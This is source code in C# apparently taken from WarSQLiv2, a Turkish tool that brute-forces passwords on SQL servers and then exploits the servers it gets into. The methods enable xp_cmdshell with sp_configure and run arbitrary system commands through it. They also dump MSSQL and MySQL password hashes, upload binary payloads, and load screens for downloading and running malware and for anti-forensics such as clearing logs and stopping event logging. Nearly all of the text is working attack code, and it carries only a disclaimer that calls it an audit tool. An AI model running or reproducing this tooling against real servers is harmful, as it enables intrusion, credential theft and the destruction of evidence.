public void RemoveTempTable() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var cnn = new SqlConnection(conS); var cmd = new SqlCommand(); cmd.Connection = cnn; cmd.CommandText = "DROP TABLE WarSQLiTemp"; cnn.Open(); cmd.ExecuteNonQuery(); cnn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void InsertBinaryData() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var cnn = new SqlConnection(conS); var cmd = new SqlCommand(); cmd.Connection = cnn; cmd.CommandText = "insert into WarSQLiTemp(binaryTable) values(@binaryTable)"; var dbp = new SqlParameter("@binaryTable", SqlDbType.Image); dbp.Value = BinaryData; cmd.Parameters.Add(dbp); cnn.Open(); cmd.ExecuteNonQuery(); cnn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void ShowProgramList() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); _programList.Clear(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(ExploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { _programList.Add(rdr[0].ToString()); _exploitResult += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); btnConvert.Content = _languageControl.SelectedLanguage.GetString("ButtonConvertBase64"); lblInput.Content = _languageControl.SelectedLanguage.GetString("LabelBase64Input"); lblOutput.Content = _languageControl.SelectedLanguage.GetString("LabelBase64Output"); Title = _languageControl.SelectedLanguage.GetString("TitleBase64Encoder"); }
private void XpCmdShellReConfig() { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { var changeLang = new LanguageControl(); changeLang.FindLang(); Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell3"); var openXpCmdShell = "EXEC sp_configure 'show advanced options', 1;\n"; openXpCmdShell += "RECONFIGURE;\n"; openXpCmdShell += "EXEC sp_configure 'xp_cmdshell', 1;\n"; openXpCmdShell += "RECONFIGURE;\n"; openXpCmdShell += "EXEC sp_configure 'show advanced options', 0;\n"; openXpCmdShell += "RECONFIGURE;\n"; if (!string.IsNullOrEmpty(LootedServer)) { var parcala = LootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(openXpCmdShell, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { Result += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("XPCmdShell1")}"; cmdControl.isExecuted = true; cmdControl.isActivated = true; } catch (SqlException exp) { if (exp.ErrorCode == -2146232060) { cmdControl.isExecuted = false; Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell4"); } else { CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } } else { Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } })); }
private void Startup_OnLoaded(object sender, RoutedEventArgs e) { Task.Factory.StartNew(FileSizeControl); Task.WaitAll(); Dispatcher.Invoke(SelectedLang); try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var rnd = new Random(); var random = rnd.Next(1, 16); var img = new Image(); var src = new BitmapImage(); src.BeginInit(); var address = Directory.GetCurrentDirectory() + @"\Scanner\Loading\" + random + ".png"; src.UriSource = new Uri(address, UriKind.Absolute); src.CacheOption = BitmapCacheOption.OnLoad; src.EndInit(); img.Source = src; img.Stretch = Stretch.Uniform; Clipboard.SetImage(src); txtStatus.Paste(); txtSingleIPOctet1.Focus(); }); } catch (Exception) { throw; } if (!IsRunningAsAdministrator()) { _languageControl.FindLang(); _languageControl.SelectedLanguage = new ResourceManager("WarSQLiv2.Language." + _languageControl.LoadedLang, Assembly.GetExecutingAssembly()); MessageBox.Show(_languageControl.SelectedLanguage.GetString("MessageRunAs"), "WarSQLiv2.1", MessageBoxButton.OK, MessageBoxImage.Warning); Application.Current.Shutdown(); } }
public void XpCmdShellStatus() { var changeLang = new LanguageControl(); changeLang.FindLang(); const string xpCmdShellStatusCommand = "SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'"; if (!string.IsNullOrEmpty(LootedServer)) { var parcala = LootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(xpCmdShellStatusCommand, conn); conn.Open(); var cmdResult = -1; var rdr = cmd.ExecuteReader(); while (rdr.Read()) { cmdResult = Convert.ToInt32(rdr[0]); } rdr.Close(); conn.Close(); if (cmdResult > 0) { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { cmdControl.isActivated = true; Result = Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell2"); })); } else { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { cmdControl.isActivated = false; XpCmdShellReConfig(); })); } } catch (SqlException exp) { CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void SqlExploitation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var exploitCode = ""; exploitCode += "EXEC xp_cmdshell '\"" + SqlCommand + "\"';\r\n"; if (!string.IsNullOrEmpty(SelectedItem)) { var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(exploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); _exploitResult = string.Empty; while (rdr.Read()) { _exploitResult += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); VolumeList = new List <string>(); var volumeListSpliter = _exploitResult.Trim().Split('\r'); for (var i = 0; i < volumeListSpliter.Count(); i++) { VolumeList.Add(volumeListSpliter[i]); } VolumeList.Remove(""); VolumeList.Remove("\n"); VolumeList.Remove("Caption "); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { btnGet.Content = _languageControl.SelectedLanguage.GetString("ButtonRunCommand"); cbi1.Content = _languageControl.SelectedLanguage.GetString("EnumContent1"); cbi2.Content = _languageControl.SelectedLanguage.GetString("EnumContent2"); cbi3.Content = _languageControl.SelectedLanguage.GetString("EnumContent3"); cbi4.Content = _languageControl.SelectedLanguage.GetString("EnumContent4"); cbi5.Content = _languageControl.SelectedLanguage.GetString("EnumContent5"); cbi6.Content = _languageControl.SelectedLanguage.GetString("EnumContent6"); cbi7.Content = _languageControl.SelectedLanguage.GetString("EnumContent7"); cbi8.Content = _languageControl.SelectedLanguage.GetString("EnumContent8"); Title = _languageControl.SelectedLanguage.GetString("TitleEnumeration"); lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { btnDownloadExecute.Content = _languageControl.SelectedLanguage.GetString("ButtonDownload"); lblMalware.Content = _languageControl.SelectedLanguage.GetString("LabelMalwareUrl"); lblSaveLocation.Content = _languageControl.SelectedLanguage.GetString("LabelSaveLocation"); lblTech.Content = _languageControl.SelectedLanguage.GetString("LabelTechnique"); rdBits.Content = _languageControl.SelectedLanguage.GetString("RadioBits"); rdPs.Content = _languageControl.SelectedLanguage.GetString("RadioPs"); Title = _languageControl.SelectedLanguage.GetString("TitleRevConn"); rdPs.IsChecked = true; lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.Invoke((Action) delegate { btnSelectFile.Content = _languageControl.SelectedLanguage.GetString("ButtonSelectFile"); btnUpload.Content = _languageControl.SelectedLanguage.GetString("ButtonUpload"); lblDetails.Content = _languageControl.SelectedLanguage.GetString("LabelDetails"); lblLooted.Content = _languageControl.SelectedLanguage.GetString("GroupBoxLooted"); Title = _languageControl.SelectedLanguage.GetString("TitleSendFileToMsSqlServer"); btnUpload.IsEnabled = false; lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
public void MySqlHashDump() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); if (!string.IsNullOrEmpty(SelectedItem)) { var split = SelectedItem.Split(':'); var server = split[0]; var user = split[2]; var pass = split[3]; var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; var mysqlConn = new MySqlConnection(con.ToString()); try { var cmd = new MySqlCommand(ExploitCode, mysqlConn); mysqlConn.Open(); var rdr = cmd.ExecuteReader(); _exploitResult = string.Empty; while (rdr.Read()) { _exploitResult += $"{Environment.NewLine}{rdr[1]}:{rdr[2]}"; } rdr.Close(); mysqlConn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
private void FrmAntiForensics_OnLoaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { btnGet.Content = _languageControl.SelectedLanguage.GetString("ButtonForensics"); cbi1.Content = _languageControl.SelectedLanguage.GetString("ComboBoxClearLog"); cbi2.Content = _languageControl.SelectedLanguage.GetString("ComboBoxClearMssqlLog"); cbi3.Content = _languageControl.SelectedLanguage.GetString("ComboBoxStopWinEvent"); Title = _languageControl.SelectedLanguage.GetString("TitleAntiForensics"); lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
private void Window_Loaded(object sender, RoutedEventArgs e) { Dispatcher.Invoke((Action) delegate { _languageControl.FindLang(); _languageControl.SelectedLanguage = new ResourceManager("WarSQLiv2.Language." + _languageControl.LoadedLang, Assembly.GetExecutingAssembly()); Title = _languageControl.SelectedLanguage.GetString("TitleAbout"); lblVersion.Content = "Application Name: " + Application.ResourceAssembly.ToString(); lblVersion.Content += Environment.NewLine + "Description: " + ((AssemblyDescriptionAttribute)Attribute.GetCustomAttribute(Assembly.GetExecutingAssembly(), typeof(AssemblyDescriptionAttribute), false)).Description; lblVersion.Content += Environment.NewLine + "Company: " + ((AssemblyCompanyAttribute)Attribute.GetCustomAttribute(Assembly.GetExecutingAssembly(), typeof(AssemblyCompanyAttribute), false)).Company; lblVersion.Content += Environment.NewLine + "Copyright: " + ((AssemblyCopyrightAttribute)Attribute.GetCustomAttribute(Assembly.GetExecutingAssembly(), typeof(AssemblyCopyrightAttribute), false)).Copyright; txtDescription.AppendText(string.Format(Environment.NewLine + "Bu program SQL Sunuculara şifre denemeleri yapan ve bu şifre denemelerinin başarılı olması halinde sistemi exploit edebilen bir araçtır.{0}", Environment.NewLine)); txtDescription.AppendText($"Bu araç SQL veritabanı güvenliği denetimleri için geliştirilmiştir. Kötüye kullanılması durumunda geliştiricinin herhangi bir yasal yükümlülüğü bulunmamaktadır. Programı kullanan herkes bu şartı kabul etmiş sayılır.{Environment.NewLine}"); txtDescription.AppendText($"Katkılarından dolayı Kriptondan yardıma koşan süpermene ve aşağıda adları yazılı saz arkadaşlarına teşekkür ederim.{Environment.NewLine}"); txtDescription.AppendText($"- Hamza Şamlıoğlu{Environment.NewLine}"); txtDescription.AppendText($"- Betül Erdem{Environment.NewLine}"); txtDescription.AppendText($"- İsmail Saygılı{Environment.NewLine}"); txtDescription.AppendText($"- Muhammet Dilmaç{Environment.NewLine}"); txtDescription.AppendText($"- Tolga Sezer{Environment.NewLine}"); }); }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.Invoke((Action) delegate { btnRunPS.Content = _languageControl.SelectedLanguage.GetString("ButtonRunPsCommand"); btnBase64.Content = _languageControl.SelectedLanguage.GetString("ButtonBase64Tool"); Title = _languageControl.SelectedLanguage.GetString("TitlePowershell"); lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
public void HashDump() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(ExploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { string value = string.Empty; byte[] b = null; b = (byte[])rdr[1]; var hex = BitConverter.ToString(b); var hexCode = hex.Replace("-", ""); value = rdr[0].ToString() + " : " + hexCode; _exploitResult += $"{Environment.NewLine}{value}"; } rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.Invoke((Action) delegate { btnSearch.Content = _languageControl.SelectedLanguage.GetString("ButtonSearch"); btnShowFile.Content = _languageControl.SelectedLanguage.GetString("ButtonShow"); btnCommand.Content = _languageControl.SelectedLanguage.GetString("ButtonRunCommand"); lblAdvCommand.Content = _languageControl.SelectedLanguage.GetString("GroupBoxAdvanced"); lblLooted.Content = _languageControl.SelectedLanguage.GetString("GroupBoxLooted"); lblLocalDirectory.Content = _languageControl.SelectedLanguage.GetString("GroupBoxDirectory"); lblVolumeList.Content = _languageControl.SelectedLanguage.GetString("GroupBoxVolume"); Title = _languageControl.SelectedLanguage.GetString("TitleDirectoryManager"); lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { try { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic logicaldisk get caption"; _postExploitation.SqlExploitation(); lstDirectory.Items.Clear(); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { lstDirectory.Items.Add(_postExploitation.VolumeList[i]); lstDirectory.Items.Remove(""); } } catch (Exception exp) { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); } }); } } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }